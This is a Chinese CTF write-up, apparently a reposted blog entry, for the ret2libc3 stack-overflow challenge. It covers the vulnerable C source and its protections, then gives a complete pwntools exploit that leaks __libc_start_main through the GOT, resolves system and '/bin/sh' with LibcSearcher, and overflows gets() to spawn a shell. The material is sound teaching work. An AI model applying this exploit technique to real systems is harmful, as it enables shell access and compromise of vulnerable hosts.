好好说话之ret2libc3

题目路径:

/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3

看一下C代码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
    int secretcode, input;
    srand(time(NULL));
    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        puts("no_shell_QQ");
}
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf1[100];
    printf("No surprise anymore, system disappeard QQ.\n");
    printf("Can you find it !?");
    gets(buf1);
    return 0;
}

一、程序分析

Checksec查看一下程序保护机制:

$ checksec ret2libc3
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

该程序为32位程序并且开启了NX保护,本题在ret2libc2的基础上去掉了system函数地址。所以这道题需要找到system函数地址和/bin/sh字符串的地址。IDA查看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

还是gets函数接收存在溢出点,v4变量距离esp指针0x1c,距离ebp指针0x64,所以v4其实地址距离ret返回地址0x6c+4个字节

接下来需要考虑的是如何得到system函数的地址,主要利用两点:

  • system函数属于libc,而libc.so同台链接库中的函数之间相对偏移是固定的
  • 即使开启了ASLR保护,也只针对地址中间位进行随机,最低的12位不会发生改变

所以如果知道libc中某个函数的地址,哭了一确定该程序利用的libc,进而通过偏移获取system函数的地址

接下来需要做的是找到libc中某个函数的地址,一般常用的方法就是got表泄露,即输出某个函数对应的got表项的内容。由于libc的延迟绑定机制,做题时需要泄露已经执行过的函数的地址

最后根据上述步骤得到libc,通过在程序中查询偏移,计算出system的地址,可以通过LibcSearcher这个工具来代替繁琐的查找步骤

libc中不只有system函数,还有/bin/sh字符串,也可以通过偏移获得/bin/sh字符串地址

这道题我们选用_libc_start_main的地址,因为这是程序最初被执行的地方

扫描二维码关注公众号,回复: 11403708 查看本文章
void _start(void)
{
  _libc_start_main(main);
  do{
    
  }while(true)
}

利用的思路如下:

  • 泄露_libc_start_main地址
  • 获取libc版本
  • 通过偏移计算出system函数地址以及/bin/sh的地址
  • 再次执行程序
  • 触发栈溢出执行system(’/bin/sh’)

二、EXP

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3') #导入文件
ret2libc3 = ELF('./ret2libc3') #进行elf文件逆向

puts_plt = ret2libc3.plt['puts'] #获取puts函数的PLT表地址
libc_start_main_got = ret2libc3.got['__libc_start_main'] #获取linc_start_main got表地址
main = ret2libc3.symbols['main'] #获取main函数地址

#泄露libc_start_main获得地址并且再次返回main函数
payload = flat(['hollkdig' * 14, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

#已经获得了libc_start_main的got表地址
libc_start_main_addr = u32(sh.recv()[0:4]) #获取接收的后4位字符并且转换成为大端序
#通过LibcSearcher找到libc版本
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) 
#在找到libc版本后通过dump函数找到_libc_start_main函数的偏移,通过当前libc_start_main地址减去偏移的到libc的基地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#通过dump函数找到当前版本的system函数的偏移量,加上libc的基地址得到system函数的地址
system_addr = libcbase + libc.dump('system')
#通过dump函数找到当前版本的bin/sh字符串的偏移量,加上libc的基地址得到bin/sh字符串的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['hollkdig' * 13, system_addr, 'b'*4, binsh_addr])
sh.sendline(payload)

sh.interactive()

第二个payload用104个字节填满栈空间是因为第二次调用main函数的时候可能缺少了栈初始化的过程,第二次调用的时候并不是从一开始的OPE进入的,所以出现了少8位的情况,可以使用动态调试器修改内存地址进行调试计算

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913563